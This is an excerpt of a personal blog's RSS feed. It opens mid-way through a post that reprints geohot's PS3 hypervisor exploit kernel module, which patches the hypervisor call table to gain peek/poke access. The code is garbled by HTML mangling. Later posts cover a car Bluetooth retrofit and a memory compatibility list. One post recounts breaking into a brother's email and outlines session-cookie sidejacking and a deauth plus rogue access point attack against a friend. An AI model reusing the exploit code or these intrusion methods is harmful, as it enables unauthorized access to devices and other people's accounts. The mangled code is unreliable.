  printk(KERN_ERR &quot;construct address space: %d\n&quot;, lv1_construct_virtual_address_space(20, 2, 0&#215;1814000000000000, &amp;vas_id, &amp;act_htab_size));<br />
  lv1_get_virtual_address_space_id_of_ppe(0, &amp;old_vas_id);<br />
  printk(KERN_ERR &quot;address space is %d, old was %d\n&quot;, vas_id, old_vas_id);<br />
  if(vas_id == 0) {<br />
    printk(KERN_ERR &quot;ADDRESS SPACE FAIL\n&quot;);<br />
    return 0;<br />
  }</p>
<p>  read_slb();<br />
  for(i=0;i&gt;27)&amp;1) {<br />
      printk(KERN_ERR &#8220;%lx %lx\n&#8221;, SLB[i*2]&amp;0xFFFFFFFFF0000000, SLB[(i*2)+1]&gt;&gt;12);<br />
    }<br />
  }<br />
  //hexdump(SLB, 128);</p>
<p>  unsigned long htab_lpar;<br />
  lv1_map_htab(0, &amp;htab_lpar);<br />
  unsigned long htab_ra = get_real_address_from_lpar(htab_lpar);</p>
<p>  unsigned long other_htab_lpar;<br />
  lv1_map_htab(vas_id, &amp;other_htab_lpar);<br />
  unsigned long* other_htab = __ioremap(other_htab_lpar, 0&#215;100000, 3);<br />
  unsigned long other_htab_ra = get_real_address_from_lpar(other_htab_lpar);</p>
<p>  printk(KERN_ERR &#8220;fix values are %lx %lx\n&#8221;, other_htab_lpar, vas_id);</p>
<p>// add the messed up one<br />
  for(raff_ptr=0;raff_ptr&gt;12) == 0&#215;400) ) {<br />
      printk(KERN_ERR &#8220;FOUND ENTRY %16.16lx %16.16lx @ %X\n&#8221;, g1, g2, raff_ptr);<br />
      break;<br />
    }<br />
  }<br />
  if(raff_ptr==0&#215;10000) {<br />
    printk(KERN_ERR &#8220;EXPLOIT NOT FOUND\n&#8221;);<br />
    goto hard_die;<br />
  }</p>
<p>  if(other_htab_ra != ((g2&amp;0xFFFF000)&gt;&gt;12) ) {<br />
    printk(KERN_ERR &#8220;BAD ADDRESS OF REGIONS HTAB\n&#8221;);<br />
    goto die;<br />
  }</p>
<p>// add the segment<br />
  crap = 0&#215;5000000000000000;<br />
   __asm__ volatile(&#8220;slbie %0\n&#8221;<br />
  :<br />
  : &#8220;r&#8221; (crap) );</p>
<p>  read_slb();<br />
  for(j=0;j&gt;27)&amp;1) == 0) {<br />
      break;<br />
    }<br />
  }<br />
  // j is first SLB I can use<br />
  slb1 = 0&#215;5000000008000000|j;<br />
  //slb2 = 0x0000FFFF00000400|(raff_ptr&lt;&gt;12) &amp; 0x1FFF)) &lt;&gt;2)&amp;1)?24:12);<br />
  printk(KERN_ERR &#8220;computed VA is %lx\n&#8221;, va);</p>
<p>  unsigned long* other_htab_rw = va;<br />
  other_htab_rw[0] = 0x0000FFFF00000001;<br />
  other_htab_rw[1] = 0&#215;0000000000000196|(htab_ra&lt; %lx\n&#8221;, usb1_ra);<br />
  printk(KERN_ERR &#8220;0x4000001e0000 -&gt; %lx\n&#8221;, usb2_ra);<br />
  printk(KERN_ERR &#8220;0x4000001f0000 -&gt; %lx\n&#8221;, usb3_ra);<br />
  printk(KERN_ERR &#8220;0&#215;400000200000 -&gt; %lx\n&#8221;, usb4_ra);</p>
<p>  // skip first entry, it&#8217;s mine and important<br />
  for(i=1;i&lt;0&#215;10000;i++) {<br />
    g1 = ((unsigned long*)0xD000080080000000)[i*2];<br />
    g2 = ((unsigned long*)0xD000080080000000)[(i*2)+1];<br />
    if(g1&amp;1) {<br />
      unsigned long va = 0xFFFFFFFFFFFFFFFF, ra;<br />
      for(j=0;j&gt;27)&amp;1) {<br />
          if((SLB[(j*2)+1]&gt;&gt;12) == (g1&gt;&gt;12)) {<br />
            va = SLB[j*2]&amp;0xFFFFFFFFF0000000;<br />
          }<br />
        }<br />
      }<br />
      if(va == 0xFFFFFFFFFFFFFFFF) {<br />
        continue;<br />
        //printk(KERN_ERR &#8220;ENTRY NOT FOUND IN SLB: %lx\n&#8221;, (g1&gt;&gt;12));<br />
      }<br />
      valid_count++;</p>
<p>      va |= ((i/8)^((g1&gt;&gt;(7+5)) &amp; 0x1FFF)) &lt;&gt;2)&amp;1)?24:12);<br />
      ra = g2 &gt;&gt; 12;</p>
<p>      my_lpar = 0xFFFFFFFFFFFFFFFF;</p>
<p>      if( ra &gt;= 0&#215;1000 &amp;&amp; ra = 0&#215;8000 ) {<br />
          my_lpar = (ra-0&#215;8000) &lt;&lt; 12;<br />
        } else {<br />
          my_lpar = 0x6c0058000000 | ((ra-0&#215;1000)&lt;&lt;12);<br />
        }<br />
      } else if( (ra&amp;0xFFFFFFFFFFFFFF00) == htab_ra) {<br />
        my_lpar = htab_lpar + ((ra-htab_ra) &lt;&lt; 12);<br />
      } else if( (ra&amp;0xFFFFFFFFFFFFFF00) == other_htab_ra) {<br />
        my_lpar = other_htab_lpar + ((ra-other_htab_ra) &lt;= 0&#215;28000080 &amp;&amp; ra  %lx\n&#8221;, i, g1, g2, va, ra);<br />
      }</p>
<p>      if(other_htab[i*2] != g1 || other_htab[(i*2)+1] != g2) {<br />
        printk(KERN_ERR &#8220;verify failed on %X\n&#8221;, i);<br />
        printk(KERN_ERR &#8220;%lx %lx &#8212; %lx %lx\n&#8221;, g1, g2, other_htab[i*2], other_htab[(i*2)+1]);<br />
        //goto home;<br />
      }<br />
    }<br />
  }</p>
<p>  printk(KERN_ERR &#8220;wrote 0x%X/0x%X htab entries\n&#8221;, count, valid_count);</p>
<p>  hexdump(other_htab, 4);<br />
  printk(KERN_ERR &#8220;OOO R/W\n&#8221;);<br />
  hexdump(other_htab_rw, 4);</p>
<p>// add the segment different<br />
  crap = 0&#215;5000000000000000;<br />
   __asm__ volatile(&#8220;slbie %0\n&#8221;<br />
  :<br />
  : &#8220;r&#8221; (crap) );</p>
<p>  read_slb();<br />
  for(j=0;j&gt;27)&amp;1) == 0) {<br />
      break;<br />
    }<br />
  }<br />
  // j is first SLB I can use<br />
  slb1 = 0&#215;5000000008000000|j;<br />
  slb2 = 0x0000FFFF00000400;<br />
   __asm__ volatile(&#8220;slbmte %0, %1\n&#8221;<br />
  :<br />
  : &#8220;r&#8221; (slb2), &#8220;r&#8221; (slb1) );</p>
<p>  printk(KERN_ERR &#8220;GOING UNDERCOVER\n&#8221;);</p>
<p>//****************KERNEL CHILL TIME BEGIN****************<br />
  unsigned long irq, irq1, flags = 0;<br />
  irq = __pa(get_irq_chip_data(20));<br />
  irq1 = __pa(get_irq_chip_data(16));<br />
  spinlock_t mr_lock = SPIN_LOCK_UNLOCKED;<br />
  spin_lock_irqsave(&amp;mr_lock, flags);<br />
  preempt_disable();<br />
  lock_kernel();<br />
  hard_irq_disable();<br />
  lv1_configure_irq_state_bitmap(1,0,0);<br />
  lv1_configure_irq_state_bitmap(1,1,0);<br />
//****************KERNEL CHILL TIME BEGIN****************</p>
<p>  status = lv1_select_virtual_address_space(vas_id);</p>
<p>  // OMG, CRAZY, IN OTHER SPACE<br />
  unsigned long* htab_rw = 0&#215;5000000000000000;<br />
  // middle part is 0 cause in position 0</p>
<p>  // add htab r/w to itself<br />
  htab_rw[2] = 0x0000FFFF00000005;<br />
  htab_rw[3] = 0&#215;0000000000000196;</p>
<p>  lv1_select_virtual_address_space(old_vas_id);<br />
//****************KERNEL CHILL TIME END****************<br />
  lv1_configure_irq_state_bitmap(1,1,irq1);<br />
  lv1_configure_irq_state_bitmap(1,0,irq);<br />
  __hard_irq_enable();<br />
  unlock_kernel();<br />
  preempt_enable();<br />
  spin_unlock_irqrestore(&amp;mr_lock, flags);<br />
//****************KERNEL CHILL TIME END****************</p>
<p>  printk(KERN_ERR &#8220;prease i lived?!?!?: %d\n&#8221;, status);</p>
<p>  // add the segment different again<br />
  crap = 0&#215;5000000000000000;<br />
   __asm__ volatile(&#8220;slbie %0\n&#8221;<br />
  :<br />
  : &#8220;r&#8221; (crap) );</p>
<p>  read_slb();<br />
  for(j=0;j&gt;27)&amp;1) == 0) {<br />
      break;<br />
    }<br />
  }<br />
  // j is first SLB I can use<br />
  slb1 = 0&#215;5000000008000000|j;<br />
  slb2 = 0x0000FFFF00000500;<br />
   __asm__ volatile(&#8220;slbmte %0, %1\n&#8221;<br />
  :<br />
  : &#8220;r&#8221; (slb2), &#8220;r&#8221; (slb1) );</p>
<p>home:<br />
  printk(KERN_ERR &#8220;unmap other HTAB: %d\n&#8221;, lv1_unmap_htab(other_htab_lpar));<br />
  printk(KERN_ERR &#8220;destruct address space: %d\n&#8221;, lv1_destruct_virtual_address_space(vas_id));</p>
<p>  hexdump(0xD000080080000000, 0&#215;10);</p>
<p>  return 0;<br />
die:<br />
  printk(KERN_ERR &#8220;unmap other HTAB: %d\n&#8221;, lv1_unmap_htab(other_htab_lpar));<br />
  printk(KERN_ERR &#8220;destruct address space: %d\n&#8221;, lv1_destruct_virtual_address_space(vas_id));<br />
  return -1;<br />
hard_die:<br />
  printk(KERN_ERR &#8220;unmap other HTAB: %d\n&#8221;, lv1_unmap_htab(other_htab_lpar));<br />
  printk(KERN_ERR &#8220;destruct address space: %d\n&#8221;, lv1_destruct_virtual_address_space(vas_id));<br />
  return -2;<br />
}</p>
<p>void add_segment() {<br />
  // add the segment different again<br />
  unsigned long crap, j, slb1, slb2;<br />
  crap = 0&#215;5000000000000000;<br />
   __asm__ volatile(&#8220;slbie %0\n&#8221;<br />
  :<br />
  : &#8220;r&#8221; (crap) );</p>
<p>  read_slb();<br />
  for(j=0;j&gt;27)&amp;1) == 0) {<br />
      break;<br />
    }<br />
  }<br />
  // j is first SLB I can use<br />
  slb1 = 0&#215;5000000008000000|j;<br />
  slb2 = 0x0000FFFF00000500;<br />
   __asm__ volatile(&#8220;slbmte %0, %1\n&#8221;<br />
  :<br />
  : &#8220;r&#8221; (slb2), &#8220;r&#8221; (slb1) );<br />
}</p>
<p>volatile long lv1_peek(unsigned long real_addr) {<br />
  unsigned long ret;<br />
  asm volatile(&#8220;mr 3, %1\n&#8221;<br />
               &#8220;li 11, 16\n&#8221;<br />
               &#8220;sc 1\n&#8221;<br />
               &#8220;mr %0, 3\n&#8221;<br />
               : &#8220;=r&#8221; (ret)<br />
               : &#8220;r&#8221; (real_addr)<br />
               : &#8220;r3&#8243;, &#8220;r4&#8243;, &#8220;r5&#8243;, &#8220;r6&#8243;, &#8220;r7&#8243;, &#8220;r8&#8243;, &#8220;r9&#8243;, &#8220;r10&#8243;, &#8220;r11&#8243;, &#8220;r12&#8243;);<br />
  return ret;<br />
}</p>
<p>volatile long lv1_poke(unsigned long real_addr, unsigned long data) {<br />
  unsigned long ret;<br />
  asm volatile(&#8220;mr 4, %2\n&#8221;<br />
               &#8220;mr 3, %1\n&#8221;<br />
               &#8220;li 11, 20\n&#8221;<br />
               &#8220;sc 1\n&#8221;<br />
               &#8220;mr %0, 3\n&#8221;<br />
               : &#8220;=r&#8221; (ret)<br />
               : &#8220;r&#8221; (real_addr), &#8220;r&#8221; (data)<br />
               : &#8220;r3&#8243;, &#8220;r4&#8243;, &#8220;r5&#8243;, &#8220;r6&#8243;, &#8220;r7&#8243;, &#8220;r8&#8243;, &#8220;r9&#8243;, &#8220;r10&#8243;, &#8220;r11&#8243;, &#8220;r12&#8243;);<br />
  return ret;<br />
}</p>
<p>void install_hypercall() {<br />
  unsigned long lpar, crap;</p>
<p>  hexdump(0xD000080080000000, 0&#215;10);</p>
<p>  if( *((unsigned long *)0xD000080080000010) != 0x0000FFFF00000005 ||<br />
      *((unsigned long *)0xD000080080000018) != 0&#215;0000000000000196) {<br />
    printk(KERN_ERR &#8220;killer entry NOT present\n&#8221;);<br />
    return 0;<br />
  }</p>
<p>  printk(KERN_ERR &#8220;allocate memory: %d\n&#8221;, lv1_allocate_memory(0&#215;1000, 0xC, 0, 0, &amp;lpar, &amp;crap));<br />
  unsigned long* hypercall_in_zero_page = __ioremap(lpar, 0&#215;1000, PAGE_SHARED_X);</p>
<p>  hypercall_in_zero_page[0] = 0xE86300004E800020;<br />
  hypercall_in_zero_page[1] = 0xF883000038600000;<br />
  hypercall_in_zero_page[2] = 0x4E80002000000000;</p>
<p>  unsigned long real_address = get_real_address_from_lpar(lpar)&lt;&lt;12;</p>
<p>  add_segment();<br />
  unsigned long* hv_call_table = 0x500000000037C598;<br />
  hv_call_table[16] = real_address;<br />
  hv_call_table[20] = real_address+0&#215;8;<br />
  printk(KERN_ERR &quot;calling hypercall test got %16.16lx\n&quot;, lv1_peek(0x2401FC00000));<br />
}</p>
<p>volatile int init_module() {<br />
  if( *((unsigned long *)0xD000080080000010) != 0x0000FFFF00000005 ||<br />
      *((unsigned long *)0xD000080080000018) != 0&#215;0000000000000196) {<br />
    while(exploit_first_stage() == -1);<br />
    while(exploit_second_stage() == -1);<br />
  }<br />
  install_hypercall();<br />
  return 0;<br />
}</p>
<p>void cleanup_module(void) {<br />
  printk(KERN_ERR &quot;cleanup_module() called\n&quot;);<br />
}</p>
<p>~geohot</p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/dltv.wordpress.com/293/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/dltv.wordpress.com/293/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=dltv.wordpress.com&#038;blog=782546&#038;post=293&#038;subd=dltv&#038;ref=&#038;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://dltv.wordpress.com/2010/01/27/geohot%e2%80%99s-ps3-exploit-released-1-26-2010-ps3-hacked/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://0.gravatar.com/avatar/326d402abb356f599f0529ca5b71e6eb?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">dltv</media:title>
		</media:content>

		<media:content url="http://dltv.files.wordpress.com/2010/01/pokemehere1.jpg" medium="image">
			<media:title type="html">pokemehere</media:title>
		</media:content>
	</item>
		<item>
		<title>Pontiac G8 GT 2009 Bluetooth Addition OEM Install</title>
		<link>http://dltv.wordpress.com/2009/12/06/pontiac-g8-gt-2009-bluetooth-addition-oem-install/</link>
		<comments>http://dltv.wordpress.com/2009/12/06/pontiac-g8-gt-2009-bluetooth-addition-oem-install/#comments</comments>
		<pubDate>Sun, 06 Dec 2009 18:25:27 +0000</pubDate>
		<dc:creator>dltv</dc:creator>
				<category><![CDATA[Breaking News]]></category>

		<guid isPermaLink="false">http://dltv.wordpress.com/?p=275</guid>
		<description><![CDATA[If you have come accross this blog then you are in the same boat as me. You have purchased the 2009 G8 GT and realized that you do not have the Bluetooth that you were hoping for. There has been &#8230; <a href="http://dltv.wordpress.com/2009/12/06/pontiac-g8-gt-2009-bluetooth-addition-oem-install/">Continue reading <span class="meta-nav">&#8594;</span></a><img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=dltv.wordpress.com&#038;blog=782546&#038;post=275&#038;subd=dltv&#038;ref=&#038;feed=1" width="1" height="1" />]]></description>
				<content:encoded><![CDATA[<p>If you have come accross this blog then you are in the same boat as me. You have purchased the 2009 G8 GT and realized that you do not have the Bluetooth that you were hoping for. There has been some breakthrough recently and I have compiled tons of data to help those of you in need of help.  I have asked 3 important questions and here are my findings. G8 community is great for information.</p>
<p>Resource link- <a href="http://www.g8board.com/forums/showpost.php?p=404735&#038;postcount=202" rel="nofollow">http://www.g8board.com/forums/showpost.php?p=404735&#038;postcount=202</a><br />
Chris &#8211; AKA GTPprix runs the site <a href="http://www.whiteautoandmedia.com">www.whiteautoandmedia.com</a> and he can preform the flash if you find a BT box. You would ship your unit to Chris and he will flash it and send it back.</p>
<p><a href="http://www.whiteautoandmedia.com/index.php?page=shop.browse&amp;category_id=27&amp;option=com_virtuemart&amp;Itemid=54">http://www.whiteautoandmedia.com/index.php?page=shop.browse&amp;category_id=27&amp;option=com_virtuemart&amp;Itemid=54</a></p>
<p>The Three Questions that I asked are:</p>
<p>Q. How is the quality of the BT in the car. Can the other person tell you are on BT? I know that the ford sync bt is crap when it calls to a landline at work.<br />
A. So far everyone has been raving that the sound is great!  Quotes: The BT quality, in my opinion, is excellent. I can hear the caller perfectly (sometimes it takes adjusting the volume), and whenever I tell someone &#8220;by the way, you&#8217;re on speaker&#8221;, they respond with &#8220;oh, it doesn&#8217;t seem like it&#8221;. The quality of your cell connection is what matters &#8211; a poor connection obviously yields poor results.</p>
<p>Q. What vehicles can i search for that have the two modules that work? GM Part # 25984444 and its supersedent 20783877 these are the ONLY two modules. It was to be believe 25984444 is the original part they used when they first introduced the Bluetooth option. It is no longer available. 20783877 is the updated part that has some software revisions to help it be more compatible with vehicles that have the factory in dash navigation systems. The original module made some of the navigation features not function. If you turn up the results when calling a junk yard  &#8221;Communication, <strong>OnStar (opt UEl), (left side of dash)</strong>&#8220;, or &#8220;Communication, <strong>(left 1/4 wheelhouse)</strong>&#8221; Both have ID 25984444. Do not despare the descriptions are just the placements on different vehicles you should have no problems with either. * Don&#8217;t blame me if they don&#8217;t.<br />
A. 2009 Model Year Arcadia\Enclave\Outlook\Traverse/Sierra\Silverado\Tahoe\Suburban\Yukon<br />
Results from the forums are &#8220;Ok, I did some experimenting, bought a GM p/n #25984444 from a different vehicle (09 Buick Acadia, I called around to local junkyards), bought the Bluetooth antenna from the dealer ($40)&#8221;</p>
<p>Q. What is the Bluetooth Antenna that is needed?<br />
A. Part Number 15938939 is a 1&#8243; x 1/2&#8243; plug in bluetooth antenna that goes right onto the Onstar box. It is not the roof antenna or anything else. It is very small and fragile.</p>
<p>GM PART # 15938939 &#8211; GMPARTSDIRECT.com<br />
CATEGORY: Power Radio Antenna Module<br />
PACK QTY: 1<br />
CORE CHARGE: $0.00<br />
GM LIST: $39.02<br />
OUR PRICE: $23.13</p>
<p>Q. What did you pay for your 25984444.<br />
A. Junkyard charged $120 for the module 20783877 . Junkyard wanted 310 for 25984444. Your Milage my vary.</p>
<p>Q. Has anyone taken install pics of the new unit and the antenna etc?<br />
A. Working on getting someone to post these. Or i will take images when i get retro fitted.</p>
<p><a href="http://www.g8board.com/forums/showpost.php?p=245182&#038;postcount=59" rel="nofollow">http://www.g8board.com/forums/showpost.php?p=245182&#038;postcount=59</a></p>
<p> Images&#8230; I will post here as a mirror.</p>
<p>Q. Does your Onstar # change?<br />
A. Mine actually changed twice, once during setup and once sometime between setup and now. What is ironic is that my original, stock # was a 203 area code, and the updated 2 numbers are 860 area codes (those are CT&#8217;s two major codes, they recently added more).</p>
<p>Q. Do you still get the Onstar emails that come monthly.<br />
A. The Onstar emails still come monthly. The month that I did the swap, it came a little late (I imagine they redid the cycle in their system or something). I get the warning &#8220;action suggested&#8221; on my engine &amp; transmission system and the emissions system, but GTPPrix described a possible fix for this somewhere that I have yet to try.</p>
<p>Disclamer: Regarding finding a box &#8211; those who find them are either lucky or clever. Many junkyards, especially smaller ones, don&#8217;t carefully inventory all of the boxes they get. They simply label them &#8220;computer module&#8221;, and some even toss them because they can be a lot of trouble to match up with exact software revisions and date codes. Also, remember that many people entering the parts into the database may not be the brightest bulbs on the planet, so they are prone to put in incorrect part numbers or even omit information. My advice on this is to find all of the yards you can with any 09 vehicle with the box and have them actually look at the car or parts to find it. These have to still exist out there; not everyone in an 09GM is a good and lucky driver</p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/dltv.wordpress.com/275/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/dltv.wordpress.com/275/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=dltv.wordpress.com&#038;blog=782546&#038;post=275&#038;subd=dltv&#038;ref=&#038;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://dltv.wordpress.com/2009/12/06/pontiac-g8-gt-2009-bluetooth-addition-oem-install/feed/</wfw:commentRss>
		<slash:comments>8</slash:comments>
	
		<media:content url="http://0.gravatar.com/avatar/326d402abb356f599f0529ca5b71e6eb?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">dltv</media:title>
		</media:content>
	</item>
		<item>
		<title>EVGA 750i FTW approved Memory List</title>
		<link>http://dltv.wordpress.com/2009/12/06/evga-750i-ftw-approved-memory-list/</link>
		<comments>http://dltv.wordpress.com/2009/12/06/evga-750i-ftw-approved-memory-list/#comments</comments>
		<pubDate>Sun, 06 Dec 2009 03:04:17 +0000</pubDate>
		<dc:creator>dltv</dc:creator>
				<category><![CDATA[Breaking News]]></category>

		<guid isPermaLink="false">http://dltv.wordpress.com/?p=272</guid>
		<description><![CDATA[780i/750iFTW/680i Series Memory Support SLI Ready Memory Above 1066 MHz(Above PC2 8500) Corsair TWIN2X2048-10000C5DF Corsair TWIN2X2048-9136C5DF Corsair TWIN2X2048-8888C4DF 1066 MHz(PC2 8500) OCZ OCZ2N10662GK OCZ OCZ2N10661G Corsair TWIN2X2048-8500C5D Corsair TWIN2X2048-8500C5 Kingston KHX8500D2K2/1G OCZ OCZ2N1066SR2GK OCZ OCZ2N1066SR1G PNY D22GX85GMR 900 MHz(PC2 7200) &#8230; <a href="http://dltv.wordpress.com/2009/12/06/evga-750i-ftw-approved-memory-list/">Continue reading <span class="meta-nav">&#8594;</span></a><img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=dltv.wordpress.com&#038;blog=782546&#038;post=272&#038;subd=dltv&#038;ref=&#038;feed=1" width="1" height="1" />]]></description>
				<content:encoded><![CDATA[<p>780i/750iFTW/680i Series Memory Support</p>
<p>SLI Ready Memory</p>
<p>Above 1066 MHz(Above PC2 8500)<br />
Corsair TWIN2X2048-10000C5DF<br />
Corsair TWIN2X2048-9136C5DF<br />
Corsair TWIN2X2048-8888C4DF </p>
<p>1066 MHz(PC2 8500)<br />
OCZ OCZ2N10662GK<br />
OCZ OCZ2N10661G<br />
Corsair TWIN2X2048-8500C5D<br />
Corsair TWIN2X2048-8500C5<br />
Kingston KHX8500D2K2/1G<br />
OCZ OCZ2N1066SR2GK<br />
OCZ OCZ2N1066SR1G<br />
PNY D22GX85GMR</p>
<p>900 MHz(PC2 7200)<br />
OCZ OCZ2N900SR2GK<br />
OCZ OCZ2N900SR1G<br />
OCZ OCZ2N9002GK<br />
OCZ OCZ2N9001G </p>
<p>800 MHz(PC2 6400)<br />
Corsair TWIN2X2048-6400C3DF<br />
Corsair TWIN2X2048-6400C4D<br />
Crucial BL2KIT12864AL804<br />
Crucial BL12864AL804<br />
Crucial BL2KIT12864AA804<br />
Crucial BL2KIT6464AA804<br />
Crucial BL12864AA804<br />
Crucial BL6464AA804<br />
Kingston KHX6400D2LLK2/2GN<br />
Kingston KHX6400D2LLK2/1GN<br />
Patriot PDC22G6400LLK<br />
PNY D22GX64GMR-4 </p>
<p>Standard Memory</p>
<p>Above 800 MHz(Above PC2 6400)<br />
Kingston KHX9600D2K2/2G<br />
Kingston KHX9200D2/512<br />
Kingston KHX8000D2K2/2G<br />
Kingston KHX7200D2K2/2G<br />
Patriot PDC21G8000+XBLK<br />
Patriot PDC21G8500 ELK<br />
Crucial BL2KIT12864AL1005<br />
G.SKILL F2-8000CL5D-4GBPQ<br />
Mushkin XP2-1066 </p>
<p>800 MHz(PC2 6400)<br />
Mushkin XP-6400<br />
Mushkin XP2-6400<br />
OCZ OCZ2G8002GK<br />
OCZ OCZ2P800R21G<br />
OCZ OCZ2T8002GK<br />
Corsair CGM2X1G800 G<br />
Corsair CGM2X2G800 G<br />
Corsair XMS6405v4.1<br />
Corsair TWIN2X2048-6400<br />
G.Skill F2-6400PHU2-2GBHZ<br />
G.Skill F2-6400PHU2-2GBNR<br />
G.SKILL F2-6400CL4D-2GBPK<br />
G.SKILL F2-6400CL5D-4GBPQ<br />
Team Xtreem PC2-6400 800MHz 3-3-3-8<br />
Team Xtreem PC2-6400 800MHz 4-4-4-10<br />
Patriot PDC22G6400ELK<br />
Geil Ultra GX22GB6400UDC<br />
Super Talent T800UX2GC4 </p>
<p>667 MHz(PC2 5400)<br />
Corsair VS512MB667D2<br />
Buffalo D2V667C-1G/BJ<br />
Patriot PDC21G5300LLK<br />
PQI 5400 Turbo<br />
Kingston KHX5400D2K2/1G<br />
Geil GX21GB5300SX<br />
Muskin xp2 5300 2x1gb<br />
Mushkin HP2-5300 </p>
<p>533 MHz(PC2 4200)<br />
Kingston KVR533D2/512R<br />
PQI MAB412UOE 512MB DDR2 533<br />
OCZ DDR2 OCZ2533512V</p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/dltv.wordpress.com/272/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/dltv.wordpress.com/272/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=dltv.wordpress.com&#038;blog=782546&#038;post=272&#038;subd=dltv&#038;ref=&#038;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://dltv.wordpress.com/2009/12/06/evga-750i-ftw-approved-memory-list/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
	
		<media:content url="http://0.gravatar.com/avatar/326d402abb356f599f0529ca5b71e6eb?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">dltv</media:title>
		</media:content>
	</item>
		<item>
		<title>Email hacking for 2010.</title>
		<link>http://dltv.wordpress.com/2009/12/05/email-hacking-for-2010/</link>
		<comments>http://dltv.wordpress.com/2009/12/05/email-hacking-for-2010/#comments</comments>
		<pubDate>Sat, 05 Dec 2009 23:56:28 +0000</pubDate>
		<dc:creator>dltv</dc:creator>
				<category><![CDATA[Breaking News]]></category>

		<guid isPermaLink="false">http://dltv.wordpress.com/?p=270</guid>
		<description><![CDATA[I can remember the says when i learned about brute-force hacking. It was simple, learn everything you can about your person of interest and use it to gain access to their email. I attempted this on my brother and it &#8230; <a href="http://dltv.wordpress.com/2009/12/05/email-hacking-for-2010/">Continue reading <span class="meta-nav">&#8594;</span></a><img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=dltv.wordpress.com&#038;blog=782546&#038;post=270&#038;subd=dltv&#038;ref=&#038;feed=1" width="1" height="1" />]]></description>
				<content:encoded><![CDATA[<p>I can remember the says when i learned about brute-force hacking. It was simple, learn everything you can about your person of interest and use it to gain access to their email.</p>
<p>I attempted this on my brother and it worked, soon people who ask &#8220;dude can you hack someones email for me&#8221;.<br />
Those are the old days and we have evolved and use more secure passwords with numbers and stuff&#8230;RIGHT!!!</p>
<p>Well after reading about Jasager and the La Fonera I&#8217;ve been following it up with some new programs that focus on Sidejacking. These tools are named Hamster and Ferret</p>
<p><a href="http://erratasec.blogspot.com/2009/03/hamster-20-and-ferret-20.html" rel="nofollow">http://erratasec.blogspot.com/2009/03/hamster-20-and-ferret-20.html</a></p>
<p><a href="http://hamster.erratasec.com/" rel="nofollow">http://hamster.erratasec.com/</a></p>
<p>The concepts are amazing and are not new to someone who focuses on this stuff everyday but for me its new. Lets say someone is using your wifi spot you start to watch there sessions. We know all sessions have cookies. Well you can grab this cookie info and inject it into your own browser and view the same sites.</p>
<p><a href="http://blogs.zdnet.com/Ou/?p=651" rel="nofollow">http://blogs.zdnet.com/Ou/?p=651</a></p>
<p>So how could you do this to your best friend who is smarter than you and has his own wpa network and wont be using some free wifi&#8230; well you use the jasager tool on the la fonera. you use something called deauth attack with tools like Aircrack-ng, which basically kicks your buddy off the wifi then he will join your fake network because you have cloned his SSID</p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/dltv.wordpress.com/270/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/dltv.wordpress.com/270/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=dltv.wordpress.com&#038;blog=782546&#038;post=270&#038;subd=dltv&#038;ref=&#038;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://dltv.wordpress.com/2009/12/05/email-hacking-for-2010/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
	
		<media:content url="http://0.gravatar.com/avatar/326d402abb356f599f0529ca5b71e6eb?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">dltv</media:title>
		</media:content>
	</item>
		<item>
		<title>Meet Der Jasager, the &#8220;yes man&#8221; VIDEO</title>
		<link>http://dltv.wordpress.com/2009/12/02/meet-der-jasager-the-yes-man-video/</link>
		<comments>http://dltv.wordpress.com/2009/12/02/meet-der-jasager-the-yes-man-video/#comments</comments>
		<pubDate>Wed, 02 Dec 2009 04:13:48 +0000</pubDate>
		<dc:creator>dltv</dc:creator>
				<category><![CDATA[Jasager]]></category>

		<guid isPermaLink="false">http://dltv.wordpress.com/?p=266</guid>
		<description><![CDATA[http://www.viddler.com/player/1b5f260d Once you get a fresh install on the Fonera, Jasager should be installed. Try hitting it at http://192.168.1.1:1471 I&#8217;ll have more later with my results of playing tricks locally. I wanted to update this post and put more references &#8230; <a href="http://dltv.wordpress.com/2009/12/02/meet-der-jasager-the-yes-man-video/">Continue reading <span class="meta-nav">&#8594;</span></a><img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=dltv.wordpress.com&#038;blog=782546&#038;post=266&#038;subd=dltv&#038;ref=&#038;feed=1" width="1" height="1" />]]></description>
				<content:encoded><![CDATA[<p><a href="http://www.viddler.com/player/1b5f260d" rel="nofollow">http://www.viddler.com/player/1b5f260d</a></p>
<p>Once you get a fresh install on the Fonera, Jasager should be installed. Try hitting it at <a href="http://192.168.1.1:1471" rel="nofollow">http://192.168.1.1:1471</a></p>
<p>I&#8217;ll have more later with my results of playing tricks locally.</p>
<p>I wanted to update this post and put more references to some other great resources to read.</p>
<p>Hak 5 forums have many people playing with the Jasager project. I suggest you read as many post before you attempt this hack.</p>
<p><a href="http://hak5.org/forums/index.php?showtopic=10254&#038;st=0&#038;gopid=147536&#038;#entry147536" rel="nofollow">http://hak5.org/forums/index.php?showtopic=10254&#038;st=0&#038;gopid=147536&#038;#entry147536</a></p>
